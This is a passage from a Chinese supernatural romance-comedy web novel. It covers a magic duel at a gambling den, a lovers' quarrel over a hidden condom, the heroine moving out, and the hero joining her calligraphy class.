【豆豆:乃猜也梭哈了!他还额外加一千万!就要阿祥现在开牌给他看!静之姐,你快想想办法吧!!!】 办法? 她能有什么办法? 最多就是阿祥上街乞讨的时候,她给他送个碗。 耳边突然传来“哗”的一声,浓厚的血腥味瞬间传来。 “哈哈哈哈,想不到吧,机缘巧合下,我发现高少少的血液蕴含了你们修道中人的灵力,她既是女赌王,我放了她的血,沐浴己身,我就不信这牌变不过来!” 静之目眦欲裂,“你!你!” 【金童!!!!!真的不能打他吗???我要他死,我要他现在就死!!!!!】 【金童:……天道有轮回,你冷静点,你看看那张牌。】 瓮中的水开始自动形成一个漩涡,把那张牌往瓮底拖去。 斗法的两人瞬间停止动作。 朱九朝对面冷笑一声,“红衣女鬼的血你也敢用,就不怕受到反噬吗?” 【豆豆:牌……牌自己在桌上转起来啦!!!静之姐,你们在干什么???】 干什么? 她应该问问她姐想干什么。 既然他们现在pk完毕,那她可就要动手了。 头刚抬起,对面的小人不知道什么时候,朝她射过来一根尖锐的钢钉。 她瞳孔一缩,刚想侧身躲过,奈何这里地方窄,她差点掉下去。 朱九眼疾手快,拉住她的手把她扯回来。 “唔……” 朱九捂着肩膀,发出一声闷哼。 “你怎么样?” 他拔下肩头那根带血的钢钉,白着脸摇摇头,“我卸去大部分力道了,就是皮外伤而已,别担心。” 她下意识抬头看了一眼月亮。 靠,什么时候来的乌云。 尼玛尼玛,我敲尼玛! 都不靠谱! 静之怒不可遏,拔起头上林九送她的簪子,口中默念林九教她的咒语,簪子立刻泛起一阵白光。 光芒散尽后,一柄缠绕着睡莲的玉剑瞬间出现在她手里。 静之使出当年扔铅球的力气,瞄准对面的法师,用力掷了过去。 法师完全没把她放在眼里,刚侧身躲过,却见那柄剑不讲道理的拐了个弯,朝他心口扎了过去。 静之:“呵,没想到吧。” 随着空气中突然飘出的一句,“破。” 两个神坛上的水瓮瞬间炸裂。 法师直挺挺的朝后倒去,双目圆睁,他到死也想不到,为什么剑会拐弯呢? “这一点都不…………科……学……” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 少少蹲在他头旁边,拍了拍他的脸,“你一个搞玄学的人跟人家讲科学?” “实话告诉你吧,之所以它会拐弯,是因为呀……” 少少眼睁睁看着他断气,就是坏心眼的不把话讲完。 “哈,你气不气!我气死你!” “哗!” 泳池里,两个湿漉漉的人突然冒头。 静之嘟着嘴,朝上头还在搞怪的少少一顿埋怨,“把我的簪子拔出来还我,你说炸就炸,也不给我们来个信号,还是不是好姐妹了!” 朱九补充一句,“把他发带扯下来。” 一个眨眼,少少拿着带血的簪子跟发带伸到水池里晃荡两下。 “欸,你这法器蛮好用的,要不送给我,我觉得我跟它心有灵犀了!” “才不要。”静之一把抓过她手里的簪子揣进怀里,“你一个鬼要什么法器,刚刚还没玩够吗?” 少少看着从水里爬出来的两个人,有些不好意思的挠挠头,“你都不知道我玩得多开心,那傻子还以为剑真的会转弯呢,哈哈哈!” 少少把发带递给朱九,“你要它干嘛?这就是普通的红带子。” 朱九:“……丢掉就行。” 静之突然侧头小声问朱九: “你觉不觉得,她好像半褪色了?” 朱九捂着肩膀,往后撸了一把带水的头发,微微皱眉: “这法师也算是她半个仇人,报仇了,怨气化解,自然就褪色了。” 静之:“哦,那另外半个呢?” …… 三个人瞬间静默。 突然异口同声,“坏了!阿祥!” 【豆豆:牌烧起来了喂……不对,还剩个角……是红桃a!!!他赢啦他赢啦!他暴富啦!!一共五千万!】 【豆豆:不对!乃猜翻脸不认人!这狗杂种,静之姐你们快过来!!!!】 第289章朱鹤的乌龙 里面应该是打起来了,耳机一阵嘈杂。 静之估计豆豆是跟人动手的时候,不小心把耳机甩掉了。 两人一鬼,紧赶慢赶,在乃猜掏出枪来的时候,静之抓起旁边的少少就一把丢了过去。 “去吧!我的小杰瑞!!!” 荡在空中的少少,“你姑奶奶我来报仇辣!!!” 乃猜回头,手里的枪直接被抓住机会的豆豆一把踹飞。 枪一个失火,直接把乃猜座下的头号杀手打死。 该说不说,真的都是报应。 乃猜被少少怼出去老远,一个劲儿的求饶,“别打我别打我!” 少少看着莫名围过来的几个老头,收回卡住他脖子的脚,站了起来。 “好,我不打你。” 乃猜还没来得及松一口气,他身后的四个赌局见证人团团围住他,开始群殴。 “前辈你也敢打,看我不打死你!” “没大没小!不知道我七十了吗?” 静之嘴角抽了抽,看他那打人的力道,怎么都不像是七十。 “哇呜~哇呜~哇呜~” 警车虽迟但到。 朱八却不见踪影。 阿祥跟豆豆趁着警察还没进来,逼着乃猜把钱交出来。 静之则是跟朱九绕到后门去寻找朱八。 听到警车的声音,赌场里的人一窝蜂的往下跑。 只有他们两个人逆着人流往上,走得有些艰难。 朱九的道袍早已脱去,此时他那身灰色练功服的左肩渐渐晕开一滩血迹。 静之回头,有些担忧的看着他。 “要不你下去等我,我找到后马上跟你汇合。” 朱九试探性的握住她放在扶手上的指尖,慢慢的说一句: “……疼。” 静之:6。 不是说只是皮外伤吗? “……你真的假的?” “真的疼。” 静之也疼,头疼。 看着湿漉漉的他,静之终是不忍心收回手,就任他握着,有些纠结的说: “可是朱八……” 朱九指了指朝他俩走下来的朱八说: “他来了。” 静之回头一看,眉头瞬间皱起,“三叔,你怎么口吐白沫?” 朱八淤青着两个眼圈,挪过头朝她打了个嗝,“我这是吐奶了。” 吐奶? 他不是对付妖女去了吗? 吐什么奶? “你这眼又是怎么……”还没来得及再问一句,朱九捂着被匆匆的行人撞到的肩膀,跌进她的怀里。 “唔……” 静之一把扶住他的肩,摸到一片血腥的黏腻后,她赶紧挪了个位置,改成握住他的腰。 朱九腰身陡然一僵。 随即又快速放软身体,把身子一半的重量放到她身上。 虽然他是故意的,但怎么不能算是意外之喜呢? 朱九,别害羞。 不装弱是追不到粗神经的她的! “三弟,你去跟警察交代始末,再把少少的尸体带回来。” 刚说完,他跟肌无力似的,悄悄瞅了她一眼,然后把头轻轻搭在她肩上。 “我……我们回去吧。” 静之:“……回去干什么,你都这样了,我送你去医院!” 不能去医院! 受这么点伤,还靠在女人身上,他保不齐会被医生嘲笑。 朱九虚弱的笑了笑,“不用去医院,都是小伤,回去你帮我包扎,我再叫黄姨炖点补血的汤补补就行了。” 静之垂下眼睫,对上他浅褐色的眸子。 行人早就跑光了,朱八也走了。 朱九抠了抠掌心肉,觉得自己装弱这招甚是丢脸且无用。 刚想直起身子站好,一只手就穿过他的腿弯,把他横抱起来。 朱九脸色爆红。 “我!不用这样,我还走得动!你放我下来!” 静之目视前方,嘴角微勾。 小样,几辈子了,她还猜不出他跟她耍什么花招,她就是大傻子。 “我看你脸都白了,我抱你上车。”她一脸无辜的搂紧他。 朱九简直社死。 他左顾右盼,两人已经走出后门的篱笆墙,前门停了三辆警车,好几个警察下车走进前门。 他瞬间屏息闭嘴。 千万别看过来,千万别看过来!! 走到车边的静之,揽在他腰间的那只手,伸出手指勾住车门打开,“嘿,你说说你,这么害羞还搞我……” 冰凉的唇突然覆了上来。 朱九眼里全都是无奈和被看穿的窘迫,还有一丝隐藏极深的得逞喜悦。 车门很好的挡住二人的身影。 其中一个警察看过来,还以为是一对小情侣晚上出来寻找刺激,骂一声世风日下后,摇了摇头走进大门。 静之听到了。 她如梦初醒,嘭的一下,用了些力气将朱九放在副驾驶上,刚想帮他系安全带,念在他肩伤的份上,以及他那蠢蠢欲动的目光中,她还是放弃了。 冷着脸绕过车头,来到主驾驶座。 朝他伸出手,“钥匙。” 朱九掏出钥匙递给她,并暗暗打量了一下她的脸色,“对不起,我……” “下次再不经我同意亲我,我就不考虑了。”她冷着脸说。 钥匙插入锁孔,车轰鸣一声启动。 静之掏出还滴着水的手机甩了甩。 摁一下开机键。 呦,还能用,不愧是国产机,就是牛。 她给豆豆发短信说,叫他们打车回家,就一脚踩下油门。 头发上的水一直往下滴。 害怕她再生气,不敢动弹的朱九终是忍不住,又往后撸了一把头发。 静之用余光瞄了一眼他眼巴巴看过来的样子,轻轻叹了口气。 左手把住方向盘,右手伸到侧边的开放式抽屉里扯出一包纸巾丢给他。 “擦一擦,本来就受伤了,别感冒了。” 朱九并未回话。 看着落在她膝盖上的小方块,他惊得瞪大双眼。 坏了! 这玩意儿忘记丢掉了。 千万不能让她看到,在书法班那个套套,他还能瞎掰是别人的。 就在他车上的套套,他就算是说破嘴,也难以说清了。 朱九突然啪的一声,拍上她的膝盖。 静之猛的一jio,踩下刹车,然后把因为没系安全带,差点一头撞到防风玻璃上的朱九拉回来。 “你到底要干什么?开车呢!” 朱九嗫喏着嘴,不自在的别过脸看向窗外,“没,没什么,你开吧。” 手心的套子已经被他悄然塞进口袋里。 静之却是捂着青筋直跳的脑门,猛叹气。 “你再这样,我以后就不管你了。” “不会了。”他小声嗡嗡。 车缓慢启动,没过几秒,又突然发出一声刺耳的刹车声。 静之从她腿侧捻起一只眼熟的套子,看着一脸慌乱的朱九,冷笑一声。 “你刚刚……就是为了藏这东西吧?” “很眼熟呢。” “在书法班楼下的那个套子,也是你的吧?” “朱九,没想到你竟然是这种人!!” “不仅对我说谎,还……” 静之深呼吸一口气,把套子丢到他腿上,打开车门,冷冷看了他一眼。 “既然你是假装的,那么我想你自己开车回去,应该不困难吧。” “咱们的约定作罢。” “你……好自为之。” “嘭!” 车门甩上。 静之顺手拦了一辆的士就走了。 朱九被她一顿输出指责得毫无反驳之力,坐在副驾驶上仿佛丢了魂。 一只冒着金光的手悄咪咪捡回他腿上的套子,朝他讪笑一声。 【朱鹤:那个……我也是没想到她反应居然这么大嘛,哈哈……】 他的哈哈声,在朱九红起来的冷眼中,渐渐消声。 【朱鹤:……你别哭啊,走了有什么,你追上去呗,她不是说过吗?她的工作就在港区,她跑不掉的。】 朱九后槽牙磨得都快起火星子了。 “祖……师……爷……” 听着他从牙缝里挤出来的叫唤,朱鹤突然觉得脖子一凉。 【朱鹤:怎,怎么了?】 “请恕我冒犯了。” 【朱鹤:什……】 “嘭!” 沙包大的拳头,正中红心。 朱鹤捂着鼻子,躲到最后一排唧唧歪歪,【我还不是为你好嘛,没良心的东西,她不要你,你换一个就好了嘛。】 朱九挪动屁股,坐到旁边的驾驶座上,启动车辆。 他幽幽说一句。 “……我只要她。” 第290章她要搬家 朱九:“你最好回去跟她解释清楚,不然我……” 【朱鹤:不然怎么样?】 朱九:“不然我就捏碎朱八的命牌。” 【朱鹤:捏就捏呗,朽木一块。】 朱九顿了一下,接着说:“那就捏阿祥的。” 朱鹤嘭的一声消失在车内,只留下一句: 【算你狠。】 空荡荡的车内,空气仿佛都要凝固住了。 良久,才听到朱九幽幽的一声叹息。 “对不起……” …… 晚上十点。 该回来的,也都回来了。 朱九冷冷的看着朱鹤,“你再说一遍。” 朱鹤头发都快挠成鸡窝了,他扒了扒头发,有些抱歉的说: 【她说我也是朱家人,肯定是维护你的,她不信我。】 朱九默了。 罢了。 道歉这活儿,还得他自己来。 “她在哪儿?”他问。 朱鹤指了指隔壁别墅。 【她回一号别墅了,原来的房间。】 朱鹤挠着眉心,心虚的提一句: 【那什么,她好像要搬出去,她说住一晚就要走。】 朱九的心咯噔一下,直接沉到谷底。 没来得及跟朱鹤生气,他快速冲下楼,朝隔壁别墅跑去。 阿祥还在跟豆豆朱八,还有少少,在一楼分钱,见到朱九,刚想热情招呼一句,看到他泛白的脸色,和急切的眼,笑容渐渐收了回去。 阿祥:“二叔怎么了?” 朱八拿着皮箱子,你一把我一把,分得巨开心,“哎呀,他跟静之的份儿给他们留出来,我就不信他们还乐不起来?” 阿祥拍了拍朱八的肩膀,皱着眉说: “好像真不太对劲儿,要不我们去看看吧,钱什么时候分都行。” “这次全靠二叔,不然我的牌被换掉的话,我就得去天桥上拉二胡了。” “三叔,我们帮帮他吧。” 朱八嗐呀一声,把皮箱放下,“行行行,你们要去赶紧去,我关个大门,可千万别漏财。” 他俩这说话的功夫,少少跟豆豆早就跑到三楼楼梯口偷听了。 静之没有翻脸了。 对上一脸慌乱的朱九,她倒显得十分有礼貌。 她把这个月的房租,伙食费,还有楼下灯的补偿费,还有她玉猫的赎金,放在信封里,交到他手上。 她笑着说: “二叔,我们两清了,我不欠你了。” 她顿了顿,接着说: “我会叫敏姨把买课的钱退给你,你的字其实写得很好,我教不动你,有钱也不是这样浪费的。” 朱九头一次觉得钱烫手。 而且什么叫两清? 她明明也喜欢他,他的心也落在她身上了,如何两清? “静之……我,不是你想的那样。” “那套子是祖师爷准备的,他怕我们朱家绝后,所以就……” 静之摁住揪痛的脑门,扯着嘴笑一声,“所以就往套子上扎眼儿,套路我呢。” “朱九,你们可真是好得很。” …… 少少一听这话,气得捻起一颗墙边盆栽里的小石头,朝朱九的后脑勺丢了过去。 他看着一脸正气,没想到知人知面不知心啊! “咚。” 朱九躲都没躲,只是定定的看着静之。 却从她眼里再也找不到半点心疼之色。 朱九失落的垂下眸子,捏着那个信封的手用力到青筋暴起。 朱八突然朝对峙中的两个人说一句: “我二哥清清白白,至今仍是童子,他连套套的正反面都分不清楚,那套子绝不可能是他的。” 静之朝他看了一眼,一脸平静说: “不管是谁的,阴谋落到我身上了,我还是会难受的。” 她朝众人微微俯身。 “谢谢大家这段时间以来的照顾,明天我就搬出去了,欢迎大家来找我玩。” 少少飘了过去,一脸担忧挽起她的手。 “你个穷鬼,你这刚还完钱,哪里还有钱去租房,工资都没发呢吧?” “要不你搬过去跟我妹住吧,我家也很大,她一个人我也不放心。” 静之忍不住弹了一下她的额头,笑着说:“终于知道庇荫我了?还说我是穷鬼。” 她转头朝愣神的朱九礼貌微笑: “我也有钱,不过是存起来了而已,你们不用担心。” “房子我也联系好了,明天下班后我就过去看,地址就在****。” 朱九完全反应不过来。 她,当真要走吗? 豆豆默默念了一遍那个地址,走过去说:“那不就在我家隔壁?你……” 她小心翼翼看了一眼静之,“你刚刚出去抢劫银行啦?” 静之倚着门框,抱着胸,翻了个白眼。 “当真这般看不起我?我也有传家宝的好不好。” 豆豆看了看朱九的脸色,低声询问: “你……你把你家传家宝当了?” 静之怔了一下,想了想刚刚她兑掉的几百两白银跟小金鱼,默默点头。 “算是吧。” “以后我也算是个有家的人了。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 她把着门板,朝外头的人微微一笑,“若是成功交接,我会发短信通知你们的,到时候暖居派对,还请各位一定要来呀。” 朱八小心翼翼的看一眼朱九的黑脸,小声回她,“一定去。” “还有这次阿祥赢到的钱,他说你们也有功劳,我下去拿给你。” 静之最后深深看了朱九一眼,然后不再留恋的关上门。 “不用了,钱嘛,够用就好。” “我自己有。” …… 豆豆和少少疯狂使眼色。 豆豆摇头:我看完了,她静之姐气得都当传家宝买别墅,这回算是跟二叔彻底杠上了。 少少做了个口型:咱们去当铺把她传家宝赎回来? 豆豆点头:我看行。 阿祥:我出点钱吧。 他怼了怼朱八。 朱八别扭的摸摸后脖子,强迫自己点头。 这钱还没捂热乎,就又要飞走了,唉。 …… 人都走完了。 声控灯早就熄灭。 她的房门前,却依旧直直站着一个湿漉漉的身影。 朱九手里的信封啪嗒一声落在地上,里头的纸币微微洒了一点出来,被他脚下的水逐渐打湿。 他连看都没看一眼,只是伸手覆上门板,微湿的脑袋抵在门板上。 沙哑着声音说一句: “静之……我疼。” 声控灯亮了起来,照出了从他下颚溅到地面纸币上的水花。 无人应答。 过了几秒,灯灭了。 连带着他眼里的光,也一起熄灭。 第291章他要上课 门里。 静之何尝不是揪着胸口哭成泪人。 刚刚能笑得出来,不过是不想让他看扁罢了。 阿九,你自己信上说过的,你做错了事,我是可以打你的。 这次你受伤了,我不打你。 只是不要你了,你别怪我。 …… 朱九仿若一座雕塑,月光打在他身上,照出了一个长长的影子。 头脑开始昏沉,呼吸逐渐灼热。 肩头的痛意比不上心里的痛强烈。 若是可以,他恨不得揪住朱鹤打个半死。 走到一半的朱八,实在不放心他二哥,又打车回来。 果然,他还站在那里。 他们朱家怎么出了他这么个痴情种了? 不对,怎么开始摇上了。 “二哥!” 随着他一声惊呼,朱九嘭一声倒地。 那扇坠满水滴的门板突然被大力掀开,纸币吹出信封,飘了满地。 然而已经没人在乎了。 因为朱九此刻看起来不太对劲儿。 脸上泛起不正常的潮红,双眼紧闭,眼睫处还沾着未掉落的水滴。 静之伸手试了一下他的额温。 发现烫得惊人。 “去拿药箱来。” 朱八只是愣愣的看着她,“你,你哭啦?” 刚刚对他们笑得这么开心,跟个没事人似的,现在就躲起来哭了? 静之胡乱抹去脸上的泪水,嘴硬一句: “风太大了,我迎风泪。” “还不快去,你要看着你二哥烧死吗?” 朱八点头哦哦两声,赶紧朝楼下跑。 …… 半个小时后,他的衣服也换了,伤口也包扎了,退烧药也喂他吃了。 但静之却走不了了。 望着被揪得跟梅干菜似的衣摆,她无奈的叹了口气。 又往回扯扯试试。 “不要走……” 他呢喃一句,沉重的眼皮却死死黏住,药物的助眠成分让他直接陷入深深的梦里,无法再睁眼挽留她。 静之泄气,坐回椅子上,朝站着的朱八说一句: “麻烦拿把剪刀给我。” 朱八摸了摸脖子,“不至于啊,你们又没在一起,不至于搞情杀。” 静之闭了闭眼,没好气的说: “我还没换衣服呢,再不让我回去换衣服,下一个发烧的就是我。” 朱八:“……哦。” 是他多虑了。 …… 过了一会儿,静之挑起下摆,将他握住的衣角直接剪断。 好好的运动服,现在直接变成露脐装。 “好好照顾他。” 朱八活了这么多年,也知道她这句话是什么意思。 “你这就要走了吗?” “不跟我二哥道个别?” 静之回头看了他一眼,然后收回目光,不再留恋的朝门外走去。 “不了,我不喜欢告别。” …… 阳光高照,两只鸟儿停留在窗纱外叽叽喳喳的。 朱九微微一动,肩膀的刺痛感让他忍不住抬手捂住。 手心里的绵软布料却让他眸光一顿。 举到半空的手摊开一看。 是一块白色的布料,他很熟悉,他的运动服就是同款布料。 “静之!” 早上了,他莫名有一种不祥的预感。 朱九一把拉开被子,鞋子都来不及穿,直接冲出房间,绕进隔壁的房间里。 犹如她没来过一样。 被子整整齐齐的。 衣柜里也空空荡荡。 “三弟!三弟!” 朱九边往楼下跑,边叫唤。 朱八叹了口气,他就知道会是这样。 他昂起头看向楼梯口的朱九。 看着他连鞋都未穿的样子,朱八不禁啧了一声。 “她走了。” 朱九心存期待问一句:“隔壁吗?” 朱八动作一顿,放下碗,朝他轻轻摇了摇头。 “我看她这回是真生气了,昨晚照顾完你就拉着行李走了,连留下来睡一晚都不肯。” 朱九抓到话头,“昨晚……她出来照顾我了?” 朱八轻笑一声,夸张的比了比眼睛。 “何止啊,你昏过去的时候,她从房里跑出来,眼都哭肿了,我还以为她挺不在意你的呢,没想到只是好面子而已,这一点倒是跟你挺像的。” 她哭了? 他可真该死。 早知道在她发短信问他的时候,他解释清楚就好了。 朱九低头看着手里的白色布料,她心里肯定还有他。 他怎么能遭到一点挫折就放弃呢? 朱九握紧布料,转身朝上走。 “欸,二哥,你不吃早饭啊?” 朱九回头,“我从今天开始就要去上书法课了,家里一切都交给你了,别给我添乱。” 朱八拍着胸脯保证,“你放心,我这回真想通了,钱慢慢赚就好,我不会急功近利了。” 朱九:“你能想通就好。” …… 静之向敏姨又请了一个小时假,说好10点准时上课后,就跟豆豆和少少看房去了。 “这里格局跟我们家差不多嘛,虽然没有二叔那里气派,但风景也很好啊,两层楼你一个人住绰绰有余,院子跟我家就隔着一道篱笆诶,就是泳池太久没用,脏了点。” 少少躲在伞下,对静之的新房子做出评价。 “脏不怕,我这里有保洁电话……喏,静之姐,我发给你了。” 静之看了一眼手机,笑着朝她点头,“谢啦!等我收拾完再邀请你们来。” 豆豆朝旁边的少少使了个眼色。 少少立马意会,变出静之当掉的东西,放到一旁桌上。 “呐,阿祥非要给你赎回来的,你一定要收下啊。” 静之看了那个熟悉的盒子一眼,头痛的捂住额头。 这……她的曾孙孙不会以为她在玩他吧?? “叮咚~” 【f梁逛:老祖宗,我跟您说,昨晚您走了以后,有一伙人指名要赎回您的东西,您是不是摊上什么事儿了?】 得,她就说吧,果然让人误会了。 发了没事两个字以后,静之抱起盒子刚想还给少少。 少少立马瘫在豆豆肩上。 “豆啊,太阳太大了,我好像要被晒死了,快扶我回家喝点水。” 豆豆朝静之看了一眼,调皮朝她吐了吐舌头,托着少少溜得飞快。 “姐,你这不是缺水,回去我给你烧点元宝蜡烛吧。” “好啊好啊,再烧点口红眼影粉饼,死了我也要做个漂亮鬼。” 静之低头看着那一盒黄白之物,啧了一声。 看来又得存进去了。 梁广应该不会觉得她是在耍他吧? 第292章上头的朱九 奇怪,今天的教室怎么这么安静? 就算都是成人,也不至于连声儿都没有吧? 静之抿着唇,轻轻将手搭在门把上。 “咔嚓。” 门刚一开,坐在教室最前面的那个男人,瞬间就映入她的眼帘。 自从她开小火车以来,教室的后排区域成了大热地点。 前三排,几乎无人就坐。 今日倒是让他一人坐上了。 静之走过来,将她的教案随意撇在一旁桌上。 两手撑着讲台,刚想对他发难。 看到他隐隐发白的唇色时,挖苦的话瞬间停在嘴边。 “不许给我捣乱。” 虽没看着他讲,朱九也知道她是在讲他。 “好。”他坐得端正,从课桌里掏出笔墨纸砚,表明他真是来学习的,一点没捣乱。 静之无话可说。 难怪刚刚敏姨对她的问话含糊一语带过,原来是这里有尊大佛不肯走。 “现在,我念到名字的,麻烦上来把你们的作业领回去。” 静之点了点桌子上的一大摞宣纸,微笑的说: “好几天没来了,想必各位同学在家也有好好练习吧?” 无人敢应话。 主要是之前静之都面带微笑,今天的她,笑里藏刀。 “没人说话是吧,我就当你们默认了。” “那好,直接小测!” “每人写一首五字绝句给我,限时10分钟,正楷,叮一声后开始。” 拿着戒尺的静之来到讲台上,手指轻轻扶在铃铛上。 “准备好了吗?” 惊呆了的同学们这才反应过来,铺宣纸的铺宣纸,倒墨水的倒墨水。 “诶诶诶,等等等等!” “还没好还没好!” “怎么突然就小测了?要死!” 一片嘈杂声中,朱九坚定的举起右手,“林老师,我准备好了。” “…………” 她手里的戒尺把他举起的手轻轻压了回去,“好了就闭嘴,等等其他同学,老师是很公平的,绝对不会给任何人开小灶。” 戒尺轻轻挑起他的下巴,她微笑着说: “包括你。” “既然来了,你就别后悔。” 静之心里的小人叉着腰,仰天长笑。 二娣训她的仇,隔了好几世,她终于要报上啦! 啥也不知道的朱九,任她挑着下巴,不争气的红了脸。 “……老师,这样是不是不太好?” 脸红个屁哦。 静之收回戒尺杵在讲台上,凝视众人。 “三,二……一!” “叮!” 朱九立马低头,拿起笔沾墨,默写了起来。 静之环着胸,在整间教室里走来走去。 每经过一个人,那个人就紧张到手抖。 除了朱九。 每次她一经过,朝向她一侧的耳朵就红了起来。 时间一分一秒过去。 静之偶尔会停留在几个同学身旁,低声纠正他们的错误。 朱九看着眼前写得板板正正的字,不由扼腕。 失算了,早知道写差一点。 她都不过来了。 朱九抬起头看着黑板上面的时钟。 还有五分钟,要不……重新写一张呢? 说干就干。 朱九面无表情的把桌面上那张堪称完美的作品对折塞进抽屉里,又重新取了张宣纸出来。 开始充当新手。 高跟鞋的声音,自他身后慢慢接近。 朱九看着眼前这大小不一,粗细不均的字,满意的点了点头。 静之走到朱九身边,垂眸一看。 不禁心生疑虑,他飘窗上那个静字,难道是别人写的? 怎么差那么多? 不管,反正她抓到了。 “叮——” “时间到了。”静之拍了拍手,“来来来,从最后一桌传上来,今天老师要……” 静之朝大家露出了个魔鬼般的微笑。 “挨~个~点~评。” 教室后头顿时传来一阵哀嚎。 “不要吧,我好几天没练了。” “我也是,早知道昨天不出去玩,留在家里练习了。” 也有那死猪不怕开水烫的,“怕个锤子,交都交了,被说两句又不会死。” 隔壁的人瞬间瞪向他。 “你从小就练,你当然不怕挨呲。” 这嘚瑟的人,就是那天给静之送手工毛笔的那位年轻人——张真。 他爷爷也是位书法大家。 他从小就跟着他爷爷写写画画,当习惯变成了爱好,他也就顺便报了个班,想来这里找一找志同道合的朋友。 却没想到碰到了他的梦中女神。 张真一手转着未沾墨的细狼毫,一手撑着脸,满脸荡漾的看向静之。 “当然不怕,我喜欢听她夸我~” 他巴不得静之第一张就评价他的书法。 然而,事情不如他所愿。 按照顺序,坐在最后面的他,作品应该是叠在最上头的。 今天他失算了。 静之反常的从最底下开始抽。 第一张,当然就是朱九的。 她转过身,将朱九的宣纸用磁吸钉钉在黑板上,“来,各位同学看过来。” 本小章还未完,请点击下一页继续阅读后面精彩内容! “这位新来的朱同学,给我们做了一个很好的范例。” “不过是反面的。” “……” 张真差点噗呲一声笑出来。 他还以为这位气势惊人的大叔能写多好呢? 原来也就这样,难怪要报班。 静之滔滔不绝,从字的大小,到笔画,甚至是他刚刚拿笔的手势,都狠心批判了一顿。 教室里头静悄悄的,只有她慷慨激昂的声音。 连张真都忍不住为那位大叔可怜上了。 女神今天真是火力全开啊,不过这样说人家是不是太过分了? 那位大叔,该不会这节课上完就消失吧? 静之也是这么想的。 说得差不多后,她住嘴了。 眸子落到他脸上时,却又疑惑上了。 他怎么无动于衷? 不是应该羞愤,慌乱,不安,然后夺门而出吗? 静之拧开保温杯,喝了口水。 然后朝朱九一扬下巴。 “朱同学,第一天上课,还没开始学呢,别怕啊,老师一定会好~好~教你的~” 朱九转过去看了看身后憋笑的同学们,这才转回头,局促的朝她笑了笑,小声嗡一句: “好的,老师。” 静之脸上的笑容差点龟裂。 他脸红个溜溜球啊??? 她这不是在呲他吗? 难不成还给他骂爽了? 上头的朱九:我的纸都压在最下面了,她还先拿我的。 她心里肯定有我!! 第293章他又骗她 他反应不太对,静之没整到他,心里莫名不爽。 以至于后面几张草草点评了一下,说了句带回家再改,就开始上课。 没被点评到的同学直接大松一口气,拍了拍胸口。 “吓死我了,今天真是我的幸运日。” “俺也一样。” 张真耷拉着脸,闷闷不乐,“唉,早知道我就坐前面去了。” “你不是吧?!”坐他旁边的同学在他旁边耳语,“你还真要追她啊?她可是这个书法班出了名的魔鬼教师。” 张真:“我看她是仙女。” 同学:“外表仙女,性格魔鬼。” 张真睨了他一眼,“你懂什么,不打不成器,严师出高徒,难道你敢昧着良心说,你在她的指导方式下没有进步?” 同学:“那倒也是有的,就是面子上有些难受。” …… 中午的时候,朱九知道这会儿正在气头上的她,肯定不会吃他带来的饭菜,于是也没有带饭。 眼瞅着静之走进旁边的一家卖煲仔饭的,他也尾随了进去。 刚一进去,就看到静之被一个眼熟的年轻人缠上了。 张真不待静之同意,就径直绕过桌子,坐到她对面去,还热情的抽出抽纸擦着桌面。 “老师,你也喜欢吃这家的煲仔饭啊?我也经常来。” 朱九紧了紧拳头,刚想走过去,就被静之一个眼神瞪了回来。 他退而求其次,坐在静之侧边的桌子旁。 “呦,大叔,你也来吃饭啊?” 张真侧头朝朱九打了个招呼,朱九则是恶狠狠盯着人家。 张真摸了摸后脑勺,一头雾水。 他也没得罪过这位大叔吧? 静之回头,朝里厨的阿姨说一声,“阿姨,老样子,加一份苦瓜排骨盅。” 张真紧随其后,“我也一样!” 朱九慢了一步,“……我也是。” 张真莫名看了他一眼。 难道第一次来,他不知道这里啥好吃,所以随便点了一份? 阿姨乐死了。 三份都是一样的,不用费脑记,挺好。 她边做,边朝窗外的静之寒暄一句: “林老师,好几天没看到你了,今天终于来上课啦?” 静之:“是啊,前几天发生了点事。” 张真凑过去,“什么事呀?有事你尽管找我,我可以帮你。” 朱九握紧桌子腿,恨不得把桌子腿拧断敲在他的笑脸上。 静之扯一下嘴角,“不用,事情已经解决了。” 瞧他还要说什么,静之指了指隔壁桌,“再说话,你就跟他坐一起去。” 朱九委屈的看了她一眼。 他才不想跟情敌坐。 这小子还真是阴魂不散。 张真朝她笑了笑,然后往嘴上做了个拉拉链的动作,“手动闭嘴。” 动作间尽显少年人的活力和调皮。 朱九暗暗打量了一下她的表情,她喜欢这一类的小伙子吗? 她居然笑了?! 九不悦。 …… 煲仔饭上的挺快。 锅盖一掀,热气瞬间涌了上来。 话多的张真被禁言,这回两张桌子旁的人都闷声低头吃饭。 吃到最后,听到隔壁传来的咯吱咯吱嚼锅巴的声音。 静之拿了张纸轻轻擦了一下嘴巴,走出去前,低声提了一句: “你身上有伤,别吃太上火的,会发炎。” 朱九筷间微顿,堵堵的心口一下就通了。 就连嘴里拿来泄愤用的锅巴也变得香脆起来。 不过他听话的没再吃上一口,付了钱后,赶紧跟在静之后头走了出去。 下午的时候,张真把他的东西搬到前排了,就坐在朱九隔壁,可把他烦了个半死。 每隔一会儿就举手问静之,虽然静之老是会走过来,但是看都没看他一眼,净给那小子答疑解惑去了。 他手里的那根狼毫差点给他撅断。 朱九终于举手了。 “林老师,这个字,该怎么写会好看一点?” 随着她的走近,她的眼睛也渐渐眯起,她一手撑在他桌子旁边,挡住张真的视线,低声对他说: “说了不准给我捣乱。” 朱九:这个姿势,他好像是被她抱在怀里…… 朱九捏着笔杆指指字帖上的字,抬起脸对上她的眼睛。 “教我。” 静之暗暗咬牙,她真是上辈子欠了他了。 她一把夺过他手上的笔,左手摁住他的宣纸,低声讲解着: “看好了,先写三横,别太快,要注意笔锋收尾……” 淡淡的香气在他身旁萦绕着,朱九神经莫名放松,余光突然瞥到她左手手腕上的黄色智能表,不禁抿嘴一笑。 她没丢呢,她才不是真的要跟他撇清关系,她只是生气了而已…… “看懂了吗?”她停笔。 “懂了。”他点点头。 静之狐疑的看了他一眼。 把笔杆递给他,“那你写个字给我看看。” 朱九接过笔,突然犯了难。 他还要装新手吗? 她会不会看不起他? 可他不想再骗她了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 早上让她尽情骂一顿,下午他可不想真的给她带来困扰。 想明白的朱九,在米白色的宣纸工工整整写下了一个静字。 静之瞬间肃起了脸。 “你又骗我。” “早上的我,在你眼里,是不是像个得意洋洋的小丑一样?” 朱九慌了。 “对不起,我……我只是想让你开心一点。” 张真伸头过来一看。 好家伙,这字跟他爷爷写的有的一拼了,那他还来这里报班干什么? 闲着没事干,还是钱多烧得慌? 